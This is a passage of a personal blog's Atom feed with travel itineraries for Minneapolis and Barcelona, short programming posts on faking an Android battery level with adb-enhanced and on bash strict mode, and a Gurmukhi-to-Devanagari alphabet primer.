<a href="https://www.mallofamerica.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mall of America</a>. It is the largest shopping mall in the United States and is pretty close to the airport. Next, head to   
    
    
<a href="https://www.nps.gov/miss/planyourvisit/minnehah.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Minnehaha falls</a>. It is the favorite fishing spot for the locals.</p>
<figure>
    
    <a href="IMG_20190726_134709_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190726_134709_resized-768x1024.jpg"
         alt="Minnehaha Falls" width="900"/> </a>
</figure>

<p>Hereafter, you can head towards the downtown. There isn&rsquo;t much to do in downtown during the day time. And I would recommend checking out   
    
    
<a href="https://walkerart.org/visit/garden?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sculpture Garden</a> and the   
    
    
<a href="https://www.minneapolisparks.org/parks__destinations/parks__lakes/lake_of_the_isles_park/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lake of Isles</a> in the evening.</p>
<figure>
    
    <a href="sculpture_garden1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="sculpture_garden1-1024x768.jpg"
         alt="A serene lakeside park scene during the evening includes silhouettes of trees and a calm water reflection, associated with Lake of the Isles Park in Minneapolis." width="900"/> </a>
</figure>

<figure>
    
    <a href="lake_of_isles_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="lake_of_isles_resized-1024x768.jpg"
         alt="A lush sculpture garden with green lawns, surrounded by trees under a clear sky, provides a serene atmosphere" width="900"/> </a>
</figure>

<h3 id="day-2">Day 2</h3>
<p>Start your day with   
    
    
<a href="https://www.mnhs.org/millcity?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mill City Museum</a>. The museum shows the history of Minnesota. You can see a beautiful view of St. Anthony&rsquo;s Falls, the only natural waterfall on river Mississippi.  St. Anthony&rsquo;s Falls provided hydropower and made Minnesota the hub of white flour production in the world. The museum gives a beautiful view of the Stone Arch Bridge as well.</p>
<figure>
    
    <a href="anthony_waterfall_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="anthony_waterfall_resized-1024x768.jpg"
         alt="A scenic view of a waterfall surrounded by lush greenery and rocky formations, with information about flour production in the world and a mention of the Stone Arch Bridge&#39;s view." width="900"/> </a>
</figure>

<p>From there on, head to the   
    
    
<a href="https://wam.umn.edu?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Weisman Art Museum</a> at the University of Minnesota. It is free and worth a small visit if you have time. Coming back to the downtown,   
    
    
<a href="https://www.atlasobscura.com/places/sidewalk-harp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sidewalk Harp</a> and   
    
    
<a href="https://www.atlasobscura.com/places/sculpture-clock?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sculpture Clock</a> are worth a shortstop.</p>
<figure>
    
    <a href="sidewalk_harp_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="sidewalk_harp_resized-1024x768.jpg"
         alt="Bronze sculpture of a boy on a horse, part of a clock tower, set in a busy urban environment." width="900"/> </a>
</figure>

<figure>
    
    <a href="sclupture_clock_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="sclupture_clock_resized-768x1024.jpg"
         alt="An outdoor sculpture resembling a large, modernist harp structure on a sidewalk under a blue sky." width="900"/> </a>
</figure>

<p>In the evening, watch a live show at either    
    
    
<a href="https://www.bravenewworkshop.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Brave New Workshop Comedy Theatre</a> or   
    
    
<a href="https://www.thelabtheater.org?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Lab Theatre</a>.</p>
<p>Note: Most of the city, including the main airport, MSP, is well-connected via inexpensive public transport. So, you don&rsquo;t need a rental car to get around.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/minnesota" term="minnesota" label="minnesota"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Android: Using "Die with me" app without killing the phone's battery</title><link href="https://ashishb.net/programming/android-using-die-with-me-app-without-killing-the-phones-battery/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="related" type="text/html" title="Troubleshooting Android Emulator: Process finished with exit code 1"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><id>https://ashishb.net/programming/android-using-die-with-me-app-without-killing-the-phones-battery/</id><author><name>Ashish Bhatia</name></author><published>2020-02-08T17:00:22+00:00</published><updated>2020-02-08T17:00:22+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how to use the &ldquo;Die with me&rdquo; chat app creatively without draining your battery. Learn to fake battery levels and chat with ease!</blockquote><p>  
    
    
<a href="https://play.google.com/store/apps/details?id=die.diewithme&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Die with me</a> is a chat app which can be used only when the phone&rsquo;s battery is below 5%.</p>
<p>Here is a fun way to use the app without draining your phone&rsquo;s battery. Connect the phone via ADB or start Android emulator and fake the battery level to 4%.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pip3 install adb-enhanced
</span></span><span style="display:flex;"><span>adbe battery level <span style="color:#2aa198">4</span> <span style="color:#586e75"># Set battery level to 4%</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And now, you can use the app. After playing with the app, reset the battery level with,</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>adbe battery reset</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/></entry><entry><title type="html">The first two statements of your BASH script should be...</title><link href="https://ashishb.net/programming/better-bash/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/my-rm-rf-moment/?utm_source=atom_feed" rel="related" type="text/html" title="My rm -rf moment"/><link href="https://ashishb.net/programming/docker-scratch-image/?utm_source=atom_feed" rel="related" type="text/html" title="Docker: Be careful about the scratch image"/><link href="https://ashishb.net/programming/how-many-source-code-repositories-should-a-startup-have/?utm_source=atom_feed" rel="related" type="text/html" title="How many source-code repositories should a startup have"/><link href="https://ashishb.net/programming/incremental-ci-monorepo/?utm_source=atom_feed" rel="related" type="text/html" title="Incremental testing: save time and money on CI for monorepo"/><link href="https://ashishb.net/programming/free-deployment-of-side-projects/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy side projects as web services for free"/><id>https://ashishb.net/programming/better-bash/</id><author><name>Ashish Bhatia</name></author><published>2020-01-11T17:00:26+00:00</published><updated>2020-01-11T17:00:26+00:00</updated><content type="html"><![CDATA[<blockquote>Master Bash scripting with &ldquo;set -euo pipefail&rdquo; for robust error handling. Learn how to ensure scripts halt on failures and avoid common pitfalls!</blockquote><p>  
    
    
<a href="https://lobste.rs/s/ajoaje/first_two_statements_your_bash_script?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured on Lobste.rs" loading="lazy" src="/programming/better-bash/lobster.rs-status-badge.svg"></a></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#719e07">#!/usr/bin/env bash
</span></span></span><span style="display:flex;"><span><span style="color:#719e07"></span><span style="color:#b58900">set</span> -euo pipefail</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The first statement is a Mac, GNU/Linux, and BSD portable way of finding the location of the bash interpreter. The second statement combines</p>
<ol>
<li>&ldquo;set -e&rdquo; which ensures that your script stops on first command failure. By default, when a command fails, BASH executes the next command. Looking at the logs, you might feel that the script executed successfully while some commands might have failed. Caveat: Be   
    
    
<a href="https://mywiki.wooledge.org/BashFAQ/105?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">careful</a> about applying it to existing scripts.</li>
<li>&ldquo;set -u&rdquo; which ensures that your script exits on the first unset variable encountered. Otherwise, bash replaces the unset variables with empty default values.</li>
<li>&ldquo;set -o pipefail&rdquo; which ensures that if any command in a set of piped commands failed, the overall exit status is the status of the failed command. Otherwise, the exit status is the status of the last command.</li>
</ol>
<p>References:</p>
<ol>
<li>  
    
    
<a href="https://redsymbol.net/articles/unofficial-bash-strict-mode/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Unofficial Bash strict mode</a></li>
<li>  
    
    
<a href="https://explainshell.com/explain?cmd=set&#43;-euo&#43;pipefail&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ExplainShell</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/bash" term="bash" label="bash"/></entry><entry><title type="html">Two days in Barcelona, Spain</title><link href="https://ashishb.net/travel/barcelona-spain/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/malaga-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Málaga in 3 days"/><link href="https://ashishb.net/travel/madrid-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Madrid, Spain"/><link href="https://ashishb.net/travel/belgium/antwerp/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Antwerp, Belgium"/><link href="https://ashishb.net/travel/belgium/brussels/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Brussels, Belgium"/><link href="https://ashishb.net/travel/france/paris/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in overhyped Paris"/><id>https://ashishb.net/travel/barcelona-spain/</id><author><name>Ashish Bhatia</name></author><published>2020-01-04T17:00:48+00:00</published><updated>2020-01-04T17:00:48+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the best of Barcelona in 2 days: breathtaking architecture, historic tours, and seaside strolls. Don&rsquo;t miss on public transport and local delicacies!</blockquote><h2 id="barcelona">Barcelona</h2>
<ol>
<li>
<a href="/travel/public-transport-guide/">Public transport</a> is good, get a Metro card with ten tickets, it can even be shared simultaneously.</li>
<li>Beware of pickpockets.</li>
<li>Credit card acceptance is high, but not 100%.</li>
<li>Paella, a rice dish, is famous in Barcelona</li>
</ol>
<h2 id="day-1">Day 1</h2>
<p>Start your day with a walking tour. I would recommend   
    
    
<a href="https://www.neweuropetours.eu/barcelona-walking-tours/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sandeman&rsquo;s walking tours</a>.
In the afternoon, check out the History Museum.
It is pretty detailed and has remains of the historic 
<a href="/travel/rome-italy/">Roman</a> city of Baracine.</p>
<figure>
    
    <a href="IMG_20190417_121931_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190417_121931_resized-512x1024.jpg"
         alt="A well-preserved Roman arch is located at the History Museum, highlighting remains from the historic Roman city of Baracine." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190417_130311_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190417_130311_resized-512x1024.jpg"
         alt="Roman city of Baracine" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190418_145002_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190418_145002_resized-1024x512.jpg"
         alt="Roman city of Baracine" width="900"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>Then head to check out Gaudi&rsquo;s architecture at Sagrada Church (which is under construction for 100+ years),
Casa Batllo, Casa Mila, or Palau Guell.
All of these have hefty entry ticket prices, and I would recommend going inside at least one of these.</p>
<figure>
    
    <a href="IMG_20190418_110724_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190418_110724_resized-512x1024.jpg"
         alt="Sagrada Church" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190419_165909_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190419_165909_resized-512x1024.jpg"
         alt="Gaudi architecture" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190419_183749_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190419_183749_resized-1024x512.jpg"
         alt="Gaudi architecture" width="900"/> </a>
</figure>

<p>Head towards the beach, Playa de Catalunya afterward.
There are several road-side vendors, some selling food and some cheap knock-offs of popular brands.</p>
<figure>
    
    <a href="IMG_20190418_173939_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190418_173939_resized-1024x512.jpg"
         alt="A roadside food vendor at a colorful stall selling to customers, amidst a bustling market environment" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/><category scheme="https://ashishb.net/tag/spain" term="spain" label="spain"/></entry><entry><title type="html">A Punjabi (Gurmukhi) primer for native Hindi (Devanagari) speakers</title><link href="https://ashishb.net/linguistics/gurmukhi-primer/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><link href="https://ashishb.net/linguistics/one-name-five-pronunciations/?utm_source=atom_feed" rel="related" type="text/html" title='The five different ways to pronounce the name "Chavez"'/><link href="https://ashishb.net/linguistics/spanish-pronunciations-for-hindi-speakers/?utm_source=atom_feed" rel="related" type="text/html" title="Spanish Pronunciations for Hindi speakers"/><link href="https://ashishb.net/linguistics/indian-accent/?utm_source=atom_feed" rel="related" type="text/html" title="Indian accent"/><id>https://ashishb.net/linguistics/gurmukhi-primer/</id><author><name>Ashish Bhatia</name></author><published>2019-12-17T19:53:41+00:00</published><updated>2019-12-17T19:53:41+00:00</updated><content type="html"><![CDATA[<blockquote>Unlock the secrets of Gurmukhi as a Hindi speaker! Discover easy mappings between Punjabi and Hindi alphabets and begin your language journey today.</blockquote><p>Most native Hindi speakers like me are familiar with Punjabi vocabulary through   
    
    
<a href="https://qz.com/india/1703693/bollywoods-punjabi-obsession-with-honey-singh-guru-randhawa/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Punjabi music</a>.
Out of curiosity, I decided to spend some time learning Gurmukhi.
I was a bit taken aback by the fact that most articles and videos were aimed at teaching Punjabi (Gurmukhi) to English speakers.
However, it is much easier to map Punjabi (Gurmukhi) to Hindi (Devanagari) letters for a native Hindi speaker,
as almost all Gurmukhi letters map really well to their Devanagari counterparts.
Here are my notes.</p>
<h2 id="there-are-five-vowels--matraमतर-with-the-small-and-the-big-sounds">There are five vowels ( <code>matra/मात्रा</code>) with the small and the big sounds</h2>
<table>
  <thead>
      <tr>
          <th>Gurmukhi</th>
          <th>Devanagari</th>
          <th>Notes</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ਅ</td>
          <td>अ</td>
          <td><strong>This letter forms the basis for आ, ऐ, and औ</strong></td>
      </tr>
      <tr>
          <td>ਆ</td>
          <td>आ</td>
          <td></td>
      </tr>
      <tr>
          <td>ਇ</td>
          <td>इ</td>
          <td>Gurmukhi sound is pronounced closer to ए</td>
      </tr>
      <tr>
          <td>ਈ</td>
          <td>ई</td>
          <td></td>
      </tr>
      <tr>
          <td>ਉ</td>
          <td>उ</td>
          <td>This letter forms the basis for ऊ and ओ</td>
      </tr>
      <tr>
          <td>ਊ</td>
          <td>ऊ</td>
          <td></td>
      </tr>
      <tr>
          <td>ਏ</td>
          <td>ए</td>
          <td></td>
      </tr>
      <tr>
          <td>ਐ</td>
          <td>ऐ</td>
          <td></td>
      </tr>
      <tr>
          <td>ਓ</td>
          <td>ओ</td>
          <td></td>
      </tr>
      <tr>
          <td>ਔ</td>
          <td>औ</td>
          <td></td>
      </tr>
  </tbody>
</table>
<h2 id="there-are-30-basic-consonants--vyanjanaवयजन">There are 30 basic consonants ( <code>vyanjana/व्यंजन</code>)</h2>
<table>
  <thead>
      <tr>
          <th>Gurmukhi</th>
          <th>Devnagari</th>
          <th>Notes</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ਕ</td>
          <td>क</td>
          <td>Gurmukhi one looks like the left half of the Devanagari one</td>
      </tr>
      <tr>
          <td>ਖ</td>
          <td>ख</td>
          <td>Related: ਖ਼ -&gt; ख़</td>
      </tr>
      <tr>
          <td>ਗ</td>
          <td>ग</td>
          <td>Almost Identical</td>
      </tr>
      <tr>
          <td>ਘ</td>
          <td>घ</td>
          <td>Note that if this is the first letter in a word, then it is a high-tone क but if you use घ that would be understood as well</td>
      </tr>
      <tr>
          <td>ਙ</td>
          <td>ङ</td>
          <td></td>
      </tr>
      <tr>
          <td>ਚ</td>
          <td>च</td>
          <td></td>
      </tr>
      <tr>
          <td>ਛ</td>
          <td>छ</td>
          <td></td>
      </tr>
      <tr>
          <td>ਜ</td>
          <td>ज</td>
          <td>Related: ਜ਼ -&gt; ज़</td>
      </tr>
      <tr>
          <td>ਝ</td>
          <td>झ</td>
          <td></td>
      </tr>
      <tr>
          <td>ਞ</td>
          <td>ञ</td>
          <td></td>
      </tr>
      <tr>
          <td>ਟ</td>
          <td>ट</td>
          <td>Identical</td>
      </tr>
      <tr>
          <td>ਠ</td>
          <td>ठ</td>
          <td>Identical</td>
      </tr>
      <tr>
          <td>ਡ</td>
          <td>ड</td>
          <td></td>
      </tr>
      <tr>
          <td>ਢ</td>
          <td>ढ</td>
          <td></td>
      </tr>
      <tr>
          <td>ਣ</td>
          <td>ण</td>
          <td></td>
      </tr>
      <tr>
          <td>ਤ</td>
          <td>त</td>
          <td></td>
      </tr>
      <tr>
          <td>ਥ</td>
          <td>थ</td>
          <td></td>
      </tr>
      <tr>
          <td>ਦ</td>
          <td>द</td>
          <td></td>
      </tr>
      <tr>
          <td>ਧ</td>
          <td>ध</td>
          <td></td>
      </tr>
      <tr>
          <td>ਨ</td>
          <td>न</td>
          <td>ਨ used to be न in old-style Devanagari</td>
      </tr>
      <tr>
          <td>ਪ</td>
          <td>प</td>
          <td></td>
      </tr>
      <tr>
          <td>ਫ</td>
          <td>फ</td>
          <td>Related: ਫ਼ -&gt; फ़</td>
      </tr>
      <tr>
          <td>ਬ</td>
          <td>ब</td>
          <td></td>
      </tr>
      <tr>
          <td>ਭ</td>
          <td>भ</td>
          <td></td>
      </tr>
      <tr>
          <td>ਮ</td>
          <td>म</td>
          <td>Similar to भ but is actually म</td>
      </tr>
      <tr>
          <td>ਯ</td>
          <td>य</td>
          <td>Similar</td>
      </tr>
      <tr>
          <td>ਰ</td>
          <td>र</td>
          <td></td>
      </tr>
      <tr>
          <td>ਲ</td>
          <td>ल</td>
          <td></td>
      </tr>
      <tr>
          <td>ਵ</td>
          <td>व</td>
          <td></td>
      </tr>
      <tr>
          <td>ੜ</td>
          <td>ड़</td>
          <td></td>
      </tr>
      <tr>
          <td>ਸ਼</td>
          <td>श</td>
          <td>There seems to be no equivalent of ष in Gurmukhi</td>
      </tr>
      <tr>
          <td>ਸ</td>
          <td>स</td>
          <td></td>
      </tr>
      <tr>
          <td>ਹ</td>
          <td>ह</td>
          <td></td>
      </tr>
      <tr>
          <td>ਲ਼</td>
          <td>ळ</td>
          <td>Retroflex L that&rsquo;s used in Marathi and Sanskrit. This is also used in dialects like Haryanvi and Mewari but not in the standard Hindi dialect</td>
      </tr>
  </tbody>
</table>
<h3 id="consonants-in-gurmukhi-that-are-similar-or-identical-to-their-counterpart-in-devanagari">Consonants in Gurmukhi that are similar or identical to their counterpart in Devanagari</h3>
<ol>
<li>ਕ is क</li>
<li>ਚ is च</li>
<li>ਜ is ज</li>
<li>ਟ is ट</li>
<li>ਠ is ठ</li>
<li>ਢ is ढ. Warning: ਫ looks similar to ढ but is फ</li>
<li>ਨ is न</li>
<li>ਬ is ब</li>
<li>ਲ is ल</li>
</ol>
